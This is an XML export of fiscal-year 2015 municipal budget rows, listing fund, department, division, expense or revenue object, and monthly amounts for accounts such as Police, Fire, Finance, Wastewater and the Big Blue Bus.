<row _id="17622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569410.0</object><object_description>CITY GARAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7000</total></row>
<row _id="17623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13167</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13167</total></row>
<row _id="17624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>419489</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>419489</total></row>
<row _id="17625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10180</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10180</total></row>
<row _id="17626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1527</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1527</total></row>
<row _id="17627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8770</total></row>
<row _id="17628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13234</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13234</total></row>
<row _id="17629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10180</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10180</total></row>
<row _id="17630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8220</total></row>
<row _id="17631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1026646</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1026646</total></row>
<row _id="17632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32190</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32190</total></row>
<row _id="17633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36525</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36525</total></row>
<row _id="17634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7000</total></row>
<row _id="17635"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7000</total></row>
<row _id="17636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>110</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>110</total></row>
<row _id="17638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>658</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>658</total></row>
<row _id="17639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>45000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45000</total></row>
<row _id="17640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400890.0</object><object_description>CITY OF LA  - SEWER REPAIR</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-398112</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-398112</total></row>
<row _id="17641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401660.0</object><object_description>WASTEWATER CAPITAL FAC FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-400000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-400000</total></row>
<row _id="17642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401990.0</object><object_description>SADDLE FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-75000</total></row>
<row _id="17643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5617</total></row>
<row _id="17644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1527</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1527</total></row>
<row _id="17646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>113550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>113550</total></row>
<row _id="17647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>117670</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>117670</total></row>
<row _id="17648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3799316</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3799316</total></row>
<row _id="17651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>65187</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>65187</total></row>
<row _id="17652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>207251</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>207251</total></row>
<row _id="17653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>707524</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>707524</total></row>
<row _id="17654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>648</total></row>
<row _id="17655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35869</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35869</total></row>
<row _id="17656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>29510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29510</total></row>
<row _id="17657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>95280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95280</total></row>
<row _id="17658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1043</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1043</total></row>
<row _id="17659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9451</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9451</total></row>
<row _id="17662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511030.0</object><object_description>DIVE PAY</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18900</total></row>
<row _id="17663"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLATES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>105</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>105</total></row>
<row _id="17664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5685</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5685</total></row>
<row _id="17665"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>142375</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>142375</total></row>
<row _id="17666"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7370</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7370</total></row>
<row _id="17667"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1703</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1703</total></row>
<row _id="17668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522044.0</object><object_description>PREMIUMS FOR PL &amp; PD-SRV REV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="17669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522624.0</object><object_description>JOINT FACILITIES RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17500</total></row>
<row _id="17670"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522625.0</object><object_description>OTHER OPERATING RENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="17671"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577062.0</object><object_description>OTHER TRAFFIC EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
